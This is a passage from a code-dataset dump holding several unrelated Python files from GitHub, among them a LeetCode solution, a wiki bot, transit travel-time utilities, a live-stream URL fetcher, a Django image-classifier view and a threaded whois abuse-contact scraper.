pagegenerators\r\nsite = pywikibot.Site()\r\nf = open('../W1list.txt','r')\r\nfor lin in f:\r\n\tprint('processing with', lin)\r\n\tlin = lin.rstrip()\r\n\tpage = pywikibot.Page(site, lin)\r\n\ttext = page.text\r\n\tnew=''\r\n\tfor line in text.splitlines():\r\n\t\ts = line.find('notability')\r\n\t\tif s>=0:\r\n\t\t\tcontinue;\r\n\t\ts = line.find('unreferenced')\r\n\t\tif s>=0:\r\n\t\t\tcontinue;\r\n\t\tnew= new + line +'\\n'\r\n\tlin = '../w1/' + lin\r\n\tW1write = open(lin,'w')\r\n\tW1write.write(new)\r\nprint('done')\r\n\r\n#此系根据文件中条目名称生成多个以页面名为名的文件脚本\r\n\r\n#cat = pywikibot.Category(site,'Category:Living people')\r\n#gen = pagegenerators.CategorizedPageGenerator(cat)\r\n#for page in gen:\r\n #Do something with the page object, for example:\r\n# text = page.text","repo_name":"ww9980/Busmania","sub_path":"Wiki/W1bot.py","file_name":"W1bot.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"25395737587","text":"class Solution:\n def countGoodStrings(self, low: int, high: int, zero: int, one: int) -> int:\n # Solution Overview\n # pretty classic dynamic programming problem\n # we will use bottom-up approach to calculate the states of dp\n # dp[i] = will denote the count of substring of length 'i' \n # for transitions\n # we can make length 'i' substring by append zero time '0' to string of length (i-zero) \n # same thing we can do it for one ('1')\n\n dp = [0 for i in range(high+1)]\n dp[0] = 1 # Base case\n total_cnt = 0\n MOD = int(1e9+7)\n for str_len in range(1,high+1):\n if str_len-zero >= 0:\n dp[str_len] += dp[str_len-zero]\n if str_len-one >= 0:\n dp[str_len] += dp[str_len-one]\n dp[str_len] %= MOD\n if low <= str_len <= high:\n total_cnt += dp[str_len]\n total_cnt %= MOD\n return total_cnt\n\n\n","repo_name":"Yashwant-Tailor/LeetCodeSolution","sub_path":"python_solutions/2466.py","file_name":"2466.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"25567765626","text":"### Write code to remove duplicates from an unsorted linked list.\n\n# Initialize linked list:\n\nclass Node:\n \n def __init__(self, data):\n self.data = data\n self.next = None\n \nclass LinkedList:\n \n def __init__(self):\n self.head = None\n \nllist = LinkedList()\n\nllist.head = Node(1)\nsecond = Node(2)\nthird = Node(3)\nfourth = Node(4)\n\nllist.head.next = second\n\nsecond.next = third\n\nthird.next = fourth\n","repo_name":"mmilett14/cracking-the-coding-interview","sub_path":"chapter-2-linked-lists/2.1-remove-dups.py","file_name":"2.1-remove-dups.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"34385149843","text":"from subprocess import check_output\n\n\ndef convert(file, convertedFormat):\n try:\n bashCommand = \"ebook-convert {0} {1}\".format(file, convertedFormat)\n output = check_output([\"bash\", \"-c\", bashCommand])\n print(\"Succesful conversion! {} file created.\".format(convertedFormat))\n return output\n\n except Exception:\n print(\"\"\"\\n Oops. You file could not be converted. \\n Check the calibre documentation here: https://manual.calibre-ebook.com/conversion.html#conversion\"\"\")\n","repo_name":"ireneisdoomed/Send2Kindle","sub_path":"src/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"72232021001","text":"from osmnx import nearest_nodes\n\nfrom base.common.MappedList import MappedList\nfrom common.constant.constants import LOCATIONS_FILE_NAME, LOCATIONS_DATE_FILE_NAME, \\\n TRAVEL_TIMES_DATE_FILE_NAME, TimeMatrixSource, TRAVEL_DISTANCES_DATE_FILE_NAME, TRAVEL_MATRICES_DATA_DIR\nfrom common.util.common_util import read_data_file, get_agency_config, file_exists, logger\nfrom common.util.pickle_util import dump_exists, load_obj, dump_obj\n\n\ndef obtain_locations(selected_agency, df):\n \"\"\"\n :param df: pandas dataframe contains the para-transit trip data\n :param selected_agency: selected agency\n :return: list of distinct locations\n \"\"\"\n locations = []\n round_off = get_agency_config(selected_agency).agency_round_off\n for i, entry in df.iterrows():\n pick_up_entry = (round(float(entry[\"Pickup lat\"]), round_off), round(float(entry[\"Pickup lon\"]), round_off))\n drop_off_entry = (round(float(entry[\"Dropoff lat\"]), round_off), round(float(entry[\"Dropoff lon\"]), round_off))\n\n if pick_up_entry not in locations:\n locations.append(pick_up_entry)\n\n if drop_off_entry not in locations:\n locations.append(drop_off_entry)\n return locations\n\n\ndef load_locations(\n selected_agency=\"AGENCY_A\",\n selected_date=0,\n custom_file=None,\n date_filter_off=False,\n ignore_wc_runs=False\n):\n \"\"\"\n :param selected_agency: agency used to filter the para-transit trips\n :param selected_date: date used to filter the para-transit trips\n :param custom_file: custom file\n :param date_filter_off: turning off the date filter to read entire set of trips\n :param ignore_wc_runs: this enables filtering WC runs\n :return: list of distinct locations\n \"\"\"\n if not date_filter_off:\n location_file = LOCATIONS_DATE_FILE_NAME.format(selected_agency, selected_date)\n else:\n location_file = LOCATIONS_FILE_NAME.format(selected_agency)\n if not dump_exists(location_file):\n df = read_data_file(\n selected_agency=selected_agency,\n selected_date=selected_date,\n custom_file=custom_file,\n date_filter_off=date_filter_off,\n ignore_wc_runs=ignore_wc_runs\n )\n locations = list(set(obtain_locations(selected_agency, df)))\n locations = [get_agency_config(selected_agency).depot_coordinates] + locations\n dump_obj(locations, location_file)\n else:\n locations = load_obj(location_file)\n return locations\n\n\ndef get_nearest_nodes_using_osmnx(graph, locations):\n \"\"\"\n :param graph: NetworkX graph\n :param locations: locations in the dataset\n :returns: the nearest OSM nodes for the given locations\n \"\"\"\n nearest_locations = {}\n for i, (lat_i, lon_i) in enumerate(locations):\n nearest_node = nearest_nodes(graph, lon_i, lat_i)\n nearest_locations[(lat_i, lon_i)] = nearest_node\n return nearest_locations\n\n\ndef get_graph(selected_agency):\n \"\"\"\n :param selected_agency: selected agency\n :returns: the nearest OSM nodes for the given locations\n \"\"\"\n import osmnx as ox\n graph_file = \"travel_time_matrix/data/osmnx_saved_graph\"\n if file_exists(graph_file, \".graphml\"):\n graph = ox.load_graphml(graph_file + \".graphml\")\n else:\n area_location_name = get_agency_config(selected_agency).area_location_name\n ox.config(use_cache=True, log_console=False)\n graph = ox.graph_from_place(area_location_name, network_type='drive', simplify=False, retain_all=True)\n graph = ox.add_edge_speeds(graph, fallback=40.2, precision=6)\n return ox.add_edge_travel_times(graph, precision=6)\n\n\ndef load_nx_travel_times(selected_agency=\"AGENCY_A\", selected_date=0):\n \"\"\"\n This uses NetworkX, OSMnx travel-time\n :param selected_agency: selected agency\n :param selected_date: selected date\n \"\"\"\n travel_times_file = TRAVEL_TIMES_DATE_FILE_NAME.format(selected_agency, selected_date, TimeMatrixSource.NXN.value)\n if not dump_exists(travel_times_file):\n from datetime import datetime\n travel_times = {}\n count = 0\n missing = 0\n start_time = datetime.now()\n locations = load_locations(\n selected_agency=selected_agency, selected_date=selected_date\n )\n matrix, all_locations = load_nxn_main_dict_qa_tt(agency=selected_agency)\n\n all_locations = MappedList(all_locations)\n for i, location_i in enumerate(locations):\n for j, location_j in enumerate(locations):\n if i != j:\n count += 1\n try:\n loc_i_idx = all_locations.index(location_i)\n loc_j_idx = all_locations.index(location_j)\n try:\n travel_times[(i, j)] = matrix[(loc_i_idx, loc_j_idx)]\n except KeyError:\n missing += 1\n except ValueError:\n missing += 1\n\n dump_obj(travel_times, travel_times_file)\n end_time = datetime.now()\n if missing > 0:\n logger.warning(\n f\"Travel Times Stats: Requested: {count}, Successful: {len(travel_times)},\" +\n f\" Failed: {missing}, Time taken: {(end_time - start_time).total_seconds()}(s)\"\n )\n else:\n travel_times = load_obj(travel_times_file)\n return travel_times\n\n\ndef load_nx_travel_distance(selected_agency=\"AGENCY_A\", selected_date=0):\n \"\"\"\n :param selected_agency: selected agency\n :param selected_date: selected date\n \"\"\"\n travel_distances_file = TRAVEL_DISTANCES_DATE_FILE_NAME.format(\n selected_agency, selected_date, TimeMatrixSource.NXN.value\n )\n if not dump_exists(travel_distances_file):\n from datetime import datetime\n travel_distances = {}\n count = 0\n missing = 0\n start_time = datetime.now()\n locations = load_locations(\n selected_agency=selected_agency, selected_date=selected_date\n )\n matrix, all_locations = load_nxn_main_dict_qa_td(agency=selected_agency)\n\n all_locations = MappedList(all_locations)\n for i, location_i in enumerate(locations):\n for j, location_j in enumerate(locations):\n if i != j:\n count += 1\n loc_i_idx = all_locations.index(location_i)\n loc_j_idx = all_locations.index(location_j)\n try:\n travel_distances[(i, j)] = matrix[(loc_i_idx, loc_j_idx)]\n except KeyError:\n missing += 1\n\n dump_obj(travel_distances, travel_distances_file)\n end_time = datetime.now()\n if missing > 0:\n logger.warning(\n f\"Travel Distance Stats: Requested: {count}, Successful: {len(travel_distances)},\" +\n f\" Failed: {missing}, Time taken: {(end_time - start_time).total_seconds()}(s)\"\n )\n else:\n travel_distances = load_obj(travel_distances_file)\n return travel_distances\n\n\ndef load_nxn_main_dict_qa_tt(agency=\"AGENCY_A\"):\n travel_matrices_dir = TRAVEL_MATRICES_DATA_DIR.format(agency)\n matrix = load_obj(f\"{travel_matrices_dir}/travel_times\")\n locations = load_obj(f\"{travel_matrices_dir}/locations\")\n return matrix, locations\n\n\ndef load_nxn_main_dict_qa_td(agency=\"AGENCY_A\"):\n travel_matrices_dir = TRAVEL_MATRICES_DATA_DIR.format(agency)\n matrix = load_obj(f\"{travel_matrices_dir}/travel_distances\")\n locations = load_obj(f\"{travel_matrices_dir}/locations\")\n return matrix, locations\n","repo_name":"smarttransit-ai/ijcai22","sub_path":"common/util/data_util.py","file_name":"data_util.py","file_ext":"py","file_size_in_byte":7672,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"39727745462","text":"# 获取YY直播的真实流媒体地址。https://www.yy.com/1349606469\n# 默认获取最高画质\n\nimport json\nimport re\n\nimport requests\n\nfrom scripts.base import Base\n\n\nclass YY(Base):\n _name = 'YY'\n\n def __init__(self, rid):\n super(Base, self).__init__()\n self.rid = rid\n\n def get_real_url(self):\n headers = {\n 'referer': 'http://wap.yy.com/mobileweb/{rid}'.format(rid=self.rid),\n 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko)'\n ' Version/11.0 Mobile/15A372 Safari/604.1'\n }\n room_url = 'http://interface.yy.com/hls/new/get/{rid}/{rid}/1200?source=wapyy&callback='.format(rid=self.rid)\n with requests.Session() as s:\n res = s.get(room_url, headers=headers)\n if res.status_code == 200:\n data = json.loads(res.text[1:-1])\n if data.get('hls', 0):\n xa = data['audio']\n xv = data['video']\n xv = re.sub(r'_0_\\d+_0', '_0_0_0', xv)\n url = 'https://interface.yy.com/hls/get/stream/15013/{}/15013/{}?source=h5player&type=m3u8'.format(xv,\n xa)\n res = s.get(url).json()\n real_url = res['hls']\n return real_url\n else:\n return '未开播'\n else:\n return '直播间不存在'\n\n\nif __name__ == '__main__':\n r = input('输入YY直播房间号:\\n')\n print(YY(r).get_real_url())\n","repo_name":"XGSClear7/real-url-api","sub_path":"scripts/lives/yy.py","file_name":"yy.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"63"} +{"seq_id":"37498340770","text":"import sys\nfrom mars_rover.Plateau import Plateau\nfrom mars_rover.Position import Position\nfrom mars_rover.Rover import Rover\nfrom mars_rover.ProcessInput import ProcessInput\nfrom mars_rover.Config import Config\nfrom mars_rover.Utils import Try\n\n\n@Try.catch\ndef command_interpreter(command, *args):\n \"\"\" Command interpreter callback\n\n Args:\n command (str): command type\n \"\"\"\n global plateau\n if command is ProcessInput.PlateauConfigState.Commands.CREATE_PLATEAU:\n plateau = Plateau(args[0], args[1])\n elif command is ProcessInput.RoverInstructionsState.Commands.CREATE_ROVER:\n rover_name = args[0]\n rover_position = tuple(args[1:3])\n rover_bearing = args[3]\n rover_instructions = args[4]\n\n position = Position(rover_position[0], rover_position[1])\n rover = Rover(rover_name, plateau, position,\n Config.DIRECTIONS.get(rover_bearing))\n rover.run(rover_instructions)\n print(rover.current_position())\n\n@Try.catch\ndef process_input(input_filename):\n process = ProcessInput(command_interpreter, input_filename)\n process.start()\n\n@Try.catch\ndef main():\n if len(sys.argv) < 2:\n raise Exception(\"Syntax: python driver.py \")\n process_input(sys.argv[1])\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"apatil65/mars-rover","sub_path":"driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6386370885","text":"\"\"\"Interceptor daemon\"\"\"\n\nimport asyncio\nfrom dataclasses import dataclass, field\nimport grp\nimport logging\nimport os\nfrom pathlib import Path\nimport pwd\nfrom typing import Collection, Optional, Union\nfrom .base import Interceptor\nfrom . import plugins\n\n__all__ = [\n 'InterceptorDaemon',\n]\n\n\n@dataclass\nclass InterceptorDaemon:\n \"\"\"A print job interceptor daemon\"\"\"\n\n path: Union[str, Path]\n user: Optional[str] = None\n group: Optional[str] = None\n interceptors: Collection[Interceptor] = field(default_factory=list)\n logger: logging.Logger = field(init=False, repr=False)\n\n def __post_init__(self):\n self.path = Path(self.path)\n self.logger = logging.getLogger(self.__class__.__name__)\n\n def add(self, name, port=None):\n \"\"\"Add specified interceptor\"\"\"\n plugin = getattr(plugins, name)\n self.interceptors.append(Interceptor(plugin, port=port,\n path=self.path))\n\n async def start(self, **kwargs):\n \"\"\"Start all interceptors\"\"\"\n await asyncio.gather(*(x.start(**kwargs) for x in self.interceptors))\n\n def run(self):\n \"\"\"Run daemon\"\"\"\n loop = asyncio.get_event_loop()\n loop.run_until_complete(self.start())\n if self.group is not None:\n os.setgroups([])\n os.setgid(grp.getgrnam(self.group).gr_gid)\n if self.user is not None:\n os.setuid(pwd.getpwnam(self.user).pw_uid)\n self.logger.info(\"started as uid=%d(%s) gid=%d(%s)\",\n os.getuid(), pwd.getpwuid(os.getuid()).pw_name,\n os.getgid(), grp.getgrgid(os.getgid()).gr_name)\n self.path.mkdir(parents=True, exist_ok=True)\n loop.run_forever()\n self.logger.info(\"stopped\")\n","repo_name":"mcb30/printerceptor","sub_path":"printerceptor/daemon.py","file_name":"daemon.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"11468232971","text":"from PIL import Image\nimport numpy as np\nimport pickle\n\nimg_buildable = Image.open(\"siteImages/buildableIslands-1side.tif\")\n\nwidth = img_buildable.size[0]\nheight = img_buildable.size[1]\n\npixels = img_buildable.load()\n\npixel_list = []\n\nfor y in range(height):\n\tfor x in range(width):\n\t\tpixel_list.append(pixels[x, y])\n\npixelmap = np.array(pixel_list).reshape((width, height)).tolist()\n\nwith open('siteImages/buildable_islands.pkl', 'w') as p:\n\tpickle.dump(pixelmap, p, -1)\n\n\n\n# img_height = Image.open(\"siteImages/pixelHeightMap.tif\")\n\n# width = img_height.size[0]\n# height = img_height.size[1]\n\n# pixels = img_height.load()\n\n# pixel_list = []\n\n# for y in range(height):\n# \tfor x in range(width):\n# \t\tpixel_list.append(pixels[x, y])\n\n# pixelmap = np.array(pixel_list).reshape((width, height)).tolist()\n\n# with open('siteImages/height.pkl', 'w') as p:\n# \tpickle.dump(pixelmap, p, -1)","repo_name":"j0hnm4r5/portfolio-projects","sub_path":"Block Island/hmPickleToRhino.py","file_name":"hmPickleToRhino.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"25527434504","text":"__author__ = \"Navratan Bagwan\"\n\"version = 0.1, Date: 2019-02\"\n\nimport pdb\nimport all_stats\nimport time\nimport OrphanClassifier\nimport Isotop_CorrectionAdvance\nimport concurrent.futures\nfrom functools import partial\nfrom optparse import OptionParser\n\nusage = \"usage:-e -s -m -O -I -o -i \\n Use -h for detailed help for parameter\\nversion = 0.1, Date: 2019-02\" \\\n \"\\nPTMcorrector is a part (module 4) of SHIFTS \\n(Systematic, Hypothesis-free Identification of PTMs with controlled \\nFDR \" \\\n \"based on ultra-Tolerant database search)is a program made in the Jesus \\nVazquez Cardiovascular Proteomics Lab at Centro Nacional de \" \\\n \"Investigaciones \\nCardiovasculares,for highthroughput PTM( Post translation modifications )processing.\\n\" \\\n \"PTMcorrector, can be used for Orphan calissifiction and isotop correction of PTM data\"\n\nparser = OptionParser(usage=usage)\n\nparser.add_option(\"-e\", \"--PathtoExperiment\", action=\"store\", type=\"string\", dest=\"Dir\", help=\"Enter the path to experiment log file\")\n\nparser.add_option(\"-s\", \"--sigmafile\", action=\"store\", type=\"string\", dest=\"sigmafilename\", help=\"Enter the name of Sigma log file\")\n\nparser.add_option(\"-m\", \"--madfile\", action=\"store\", type=\"string\", dest=\"MADfilename\", help=\"Enter the name of MAD log file\")\n\nparser.add_option(\"-O\", \"--OrphanOUT\", action=\"store\", type=\"string\", dest=\"orphanOUTname\", help=\"Enter the output file name for Orphan classificaition\")\n\nparser.add_option(\"-I\", \"--targetOfiso\", action=\"store\", type=\"string\", dest=\"Isotargetfile\", help=\"enter the name of target file for isotop correction\")\n\nparser.add_option(\"-i\", \"--isotopTF\", action = \"store\", type= \"string\", dest= \"isoTF\", help=\"1 to perform istop correction, 0 for False\")\n\nparser.add_option(\"-o\", \"--orphansTF\", action = \"store\", type= \"string\", dest= \"orphanTF\", help=\"1 to perform orphans classification, 0 for False\")\n\n(options, args) = parser.parse_args()\n\n\nif options.Dir:\n Dir = options.Dir\nelse:\n parser.error(\"Please enter the path to Experiment LOG file -h\")\n\nif options.sigmafilename:\n sigmafilename = options.sigmafilename\nelse:\n parser.error(\"Enter the name of Sigma log file -h\")\n\nif options.MADfilename:\n MADfilename = options.MADfilename\nelse:\n parser.error(\"Enter the name of MAD log file -h\")\n\nif options.orphanOUTname:\n orphanOUTname = options.orphanOUTname\nelse:\n parser.error(\"Enter the output file name for Orphan classificaition -h\")\n\nif options.Isotargetfile:\n Isotargetfile = options.Isotargetfile\nelse:\n parser.error(\"enter the name of target file for isotop correction -h\")\n\nif options.isoTF:\n isoTF = options.isoTF\nelse:\n parser.error(\"1 to perform istop correction, 0 for False -h\")\n\nif options.orphanTF:\n orphanTF = options.orphanTF\nelse:\n parser.error(\"1 to perform orphans classification, 0 for False -h\")\n\n\ndef creatList(listoffiles):\n listofFile = []\n for line in open(listoffiles):\n if line != \"\\n\":\n listofFile.append(line.strip())\n return listofFile\n\ndef orphanCalssificationANDisotopCorrection(experirmntlist, sigmaFiles, MADfiles, orphansOutName, isotopTargetFile, OrphanTF, IsotopTF):\n start_time = time.time()\n if __name__ == '__main__':\n listofFile = creatList(listoffiles=experirmntlist)\n\n if OrphanTF == \"1\" and IsotopTF == \"1\":\n\n func = partial(OrphanClassifier.ptmClassifier, sigmafIle = sigmaFiles, Outfilename =orphansOutName)\n with concurrent.futures.ProcessPoolExecutor() as executor:\n executor.map(func, listofFile)\n\n func1 = partial(Isotop_CorrectionAdvance.isotop, targetFile=isotopTargetFile, madFIle=MADfiles)\n with concurrent.futures.ProcessPoolExecutor() as executor:\n executor.map(func1, listofFile)\n\n elif OrphanTF == \"1\" and IsotopTF == \"0\":\n func = partial(OrphanClassifier.ptmClassifier, sigmafIle=sigmaFiles, Outfilename=orphansOutName)\n with concurrent.futures.ProcessPoolExecutor() as executor:\n executor.map(func, listofFile)\n\n elif OrphanTF == \"0\" and IsotopTF == \"1\":\n\n func1 = partial(Isotop_CorrectionAdvance.isotop, targetFile=isotopTargetFile, madFIle=MADfiles)\n with concurrent.futures.ProcessPoolExecutor() as executor:\n executor.map(func1, listofFile)\n\n\nif __name__ == \"__main__\":\n orphanCalssificationANDisotopCorrection(experirmntlist=Dir, sigmaFiles=sigmafilename, MADfiles=MADfilename, orphansOutName=orphanOUTname,\n isotopTargetFile=Isotargetfile, OrphanTF=orphanTF, IsotopTF=isoTF)\n # orphanCalssificationANDisotopCorrection(experirmntlist=r\"E:\\Users\\nbagwan\\Desktop\\SHIFTS_lastChange\\heart\\TestEXE1\\Peakpicking_Log.txt\",\n # sigmaFiles=r\"E:\\Users\\nbagwan\\Desktop\\SHIFTS_lastChange\\heart\\TestEXE1\\sigmaCalculations.txt\",\n # MADfiles=r\"E:\\Users\\nbagwan\\Desktop\\SHIFTS_lastChange\\heart\\TestEXE1\\MAD_and_FWHM_calculations.txt\",\n # orphansOutName=\"OrphanWithOtherData.txt\", isotopTargetFile=\"AllWithSequence-massTag.txt\", OrphanTF=\"0\", IsotopTF=\"1\")\n","repo_name":"CNIC-Proteomics/SHIFTS-update","sub_path":"PTMpostProcessing/PTMcorrector.py","file_name":"PTMcorrector.py","file_ext":"py","file_size_in_byte":5210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71548353476","text":"import os\r\nfrom PIL import Image\r\nimport numpy as np\r\nimport tensorflow as tf\r\nfrom django.conf import settings\r\nfrom django.http import HttpResponse\r\nfrom django.shortcuts import render, redirect\r\nfrom django.core.files.storage import FileSystemStorage\r\n\r\nlabelling = {\r\n 0: 'No DR',\r\n 1: 'Mild',\r\n 2: 'Moderate',\r\n 3: 'Severe',\r\n 4: 'Poliferative DR'\r\n}\r\n\r\ndef home(request):\r\n context = {\r\n 'url': '',\r\n 'result': ''\r\n }\r\n if request.method == 'POST':\r\n image = request.FILES.get('image')\r\n print(image)\r\n if image:\r\n fs = FileSystemStorage()\r\n filename = fs.save(image.name, image)\r\n prediction = process_image(image)\r\n prediction_list = prediction.tolist()\r\n max_value, max_index = find_highest_number_with_index(\r\n prediction_list[0])\r\n context.update({\r\n 'url': filename,\r\n 'result': labelling.get(max_index),\r\n 'prediction': prediction_list[0]\r\n })\r\n return render(request, \"index.html\", context)\r\n return render(request, \"index.html\", context)\r\n\r\n\r\ndef process_image(image):\r\n img = Image.open(image)\r\n img = img.resize((512, 512))\r\n img = np.array(img) / 255.0\r\n img = np.expand_dims(img, axis=0)\r\n model_path = os.path.join(os.path.dirname(\r\n __file__), 'Models', 'baseline1.h5')\r\n model = tf.keras.models.load_model(model_path)\r\n predictions = model.predict(img)\r\n print(predictions)\r\n return predictions\r\n\r\n\r\ndef find_highest_number_with_index(lst):\r\n if not lst:\r\n return None, None\r\n max_value = lst[0]\r\n max_index = 0\r\n for index, value in enumerate(lst):\r\n if value > max_value:\r\n max_value = value\r\n max_index = index\r\n return max_value, max_index\r\n","repo_name":"Shashanks7s7/Backend","sub_path":"Backend/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4049422718","text":"# 画像を読み込んで顔認識\n# top levelをパスに含める\nimport sys\nsys.path.append('/Users/razokulover/src/github.com/image-processing-training-with-python/bijin_judgement')\n\nimport os\nimport re\nimport cv2\nimport numpy as np\nimport math\nfrom math import ceil\n\n# 顔画像用の生成先ディレクトリの作成\nsrc_image_dir = '/Users/razokulover/src/github.com/image-processing-training-with-python/bijin_judgement/images'\nface_image_dir = '/Users/razokulover/src/github.com/image-processing-training-with-python/bijin_judgement/images/faces'\nif os.path.exists(face_image_dir) == False:\n os.mkdir(face_image_dir)\n\n# 目・顔認識はhaarcascade\ncascades_dir = '/Users/razokulover/.pyenv/versions/anaconda3-4.0.0/share/OpenCV/haarcascades'\nface_cascade = cv2.CascadeClassifier(os.path.join(cascades_dir, 'haarcascade_frontalface_default.xml'))\neye_cascade = cv2.CascadeClassifier(os.path.join(cascades_dir, 'haarcascade_eye.xml'))\n\n# 全画像で顔検出していく\nhit = 0\nfail = 0\nfor f in os.listdir(src_image_dir):\n if hit > 5:\n break\n src_path = os.path.join(src_image_dir, f)\n if os.path.isfile(src_path) and re.match(r\".+\\.(jpg|jpeg|png|gif)$\", src_path):\n # 画像読み込み\n base_img = cv2.imread(src_path)\n\n # 画像サイズの統一\n base_h, base_w = base_img.shape[:2]\n resize_h, resize_w = [int(500 * (base_h/base_w)), 500]\n resize_img = cv2.resize(base_img, (resize_w, resize_h))\n\n # スコアの初期化\n scores = {\"score\": 1000, \"img\": \"\"}\n # -50~+50度の傾きで実行\n for j in range(-50, 55, 5):\n # 拡大画像\n big_img = np.zeros((resize_h * 2, resize_w * 2, 3), np.uint8)\n big_img[ceil(resize_h/2.0):ceil(resize_h/2.0*3.0), ceil(resize_w/2.0):ceil(resize_w/2.0*3.0)] = resize_img\n\n # がぞうの中心\n center = tuple(np.array([big_img.shape[1] * 0.5, big_img.shape[0] * 0.5]))\n\n size = tuple(np.array([big_img.shape[1], big_img.shape[0]]))\n\n # 回転させたい角度\n angle = float(j)\n\n # 拡大比率\n scale = 1.0\n\n # 回転行列計算\n rotation_matrix = cv2.getRotationMatrix2D(center, angle, scale)\n\n # アフィン変換\n img_rot = cv2.warpAffine(big_img, rotation_matrix, size, flags=cv2.INTER_CUBIC)\n\n # 顔判定\n faces = face_cascade.detectMultiScale(img_rot, scaleFactor=1.2, minNeighbors=2, minSize=(50, 50))\n if len(faces):\n for (x,y,w,h) in faces:\n face_img = img_rot[y:y+h, x:x+w]\n # 顔検出された部分からさらに目が2個検出されてかつ目の距離が顔の1/4の距離より大きい場合は書き出す\n eyes = eye_cascade.detectMultiScale(face_img)\n if len(eyes) == 2 and abs(eyes[0][0] - eyes[1][0]) > w/4:\n # 目の水平度を算出してより水平(0に近い)ものが良い顔とする\n score = math.atan2(abs(eyes[1][1] - eyes[0][1]), abs(eyes[1][0] - eyes[0][0]))\n # スコアがより小さければ更新する\n if score < scores[\"score\"]:\n scores[\"score\"] = score\n scores[\"img\"] = face_img\n\n # スコアが一番高かった顔画像を書き出す\n if scores[\"img\"] != \"\":\n hit += 1\n print(\"id: {f}, score: {score}\".format(f=f, score=scores[\"score\"]))\n cv2.imwrite(os.path.join(face_image_dir, f), scores[\"img\"])\n else:\n fail += 1\n\n\n# 検出率を算出する\nhit_rate = (hit / (hit+fail)) * 100\nprint(\"Hit count: {hit}\".format(hit=hit))\nprint(\"Fail count: {fail}\".format(fail=fail))\nprint(\"Hit rate: {hit_rate}%\".format(hit_rate=hit_rate))\n\n# 1回目\n# it count: 1633\n# Fail count: 340\n# Hit rate: 82.76735935124177%\n","repo_name":"YuheiNakasaka/image-processing-training-with-python","sub_path":"bijin_judgement/scripts/face_detect_with_rotation.py","file_name":"face_detect_with_rotation.py","file_ext":"py","file_size_in_byte":3996,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"21815648770","text":"from threading import Thread, Lock\r\nfrom queue import Queue\r\nimport re\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom selenium.webdriver.chrome.service import Service\r\nfrom tqdm import tqdm\r\n\r\n# 创建一个锁对象来保护对进度条的更新\r\nprogress_lock = Lock()\r\nprogress_bar = None\r\n\r\ndef fetch_query_results(queue, output_file_path):\r\n global progress_bar\r\n # 创建一个Options对象来存储webdriver的选项\r\n chrome_options = Options()\r\n chrome_options.add_argument('--headless')\r\n chrome_options.add_argument('--disable-gpu')\r\n chrome_options.add_argument('--no-sandbox')\r\n\r\n # 创建一个Service对象\r\n service = Service(executable_path='D:\\\\WebDownload\\\\chromedriver.exe')\r\n\r\n # 使用配置好的选项和服务来初始化webdriver\r\n driver = webdriver.Chrome(options=chrome_options, service=service)\r\n while True:\r\n line_data = queue.get()\r\n if line_data is None:\r\n break\r\n\r\n query, second_field = line_data\r\n\r\n try:\r\n # 设置超时时间\r\n driver.set_page_load_timeout(100)\r\n driver.set_script_timeout(100)\r\n\r\n # Construct the URL from the query parameter\r\n url = f\"https://wq.apnic.net/static/search.html?query={query}\"\r\n\r\n # 打开网页\r\n driver.get(url)\r\n\r\n # print(\"Waiting for the content to load...\")\r\n time.sleep(8)\r\n\r\n # print(\"Parsing the HTML content...\")\r\n html_content = driver.page_source\r\n soup = BeautifulSoup(html_content, 'html.parser')\r\n\r\n query_results = soup.find(id='query-results')\r\n if not query_results:\r\n driver.quit()\r\n return \"Element with id='query-results' not found.\"\r\n\r\n # print(\"Extracting text from nested divs...\")\r\n object_divs = query_results.find_all('div', class_='object')\r\n div_texts = [div.find('pre').get_text('#') for div in object_divs if div.find('pre')]\r\n\r\n # 将所有文本内容合并为一个字符串\r\n result_text = \"\\n\".join(div_texts)\r\n\r\n # Using a regular expression to find and extract the desired string\r\n abuse_contact_info = re.search(r\"% Abuse contact for 'AS\\d+' is '(.+?)'\", result_text)\r\n\r\n if abuse_contact_info:\r\n email_domains = [abuse_contact_info.group(1).split('@')[1]] # 获取电子邮件域名部分\r\n else:\r\n # 如果第一个正则表达式没有找到匹配项,尝试使用第二个正则表达式查找电子邮件\r\n org_abuse_emails = re.findall(r'AbuseEmail:#(.+?@.+?)#', result_text)\r\n if org_abuse_emails:\r\n email_domains = [email.split('@')[1] for email in org_abuse_emails] # 获取所有电子邮件的域名部分\r\n else:\r\n org_abuse_emails = re.findall(r'e-mail:#(.+?@.+?)#', result_text)\r\n if org_abuse_emails:\r\n email_domains = [email.split('@')[1] for email in org_abuse_emails] # 获取所有电子邮件的域名部分\r\n else:\r\n email_domains = [''] # 如果都没有找到,则返回空列表\r\n\r\n # 如果找到电子邮件域名,将其添加到line_data列表中并写入输出文件\r\n if 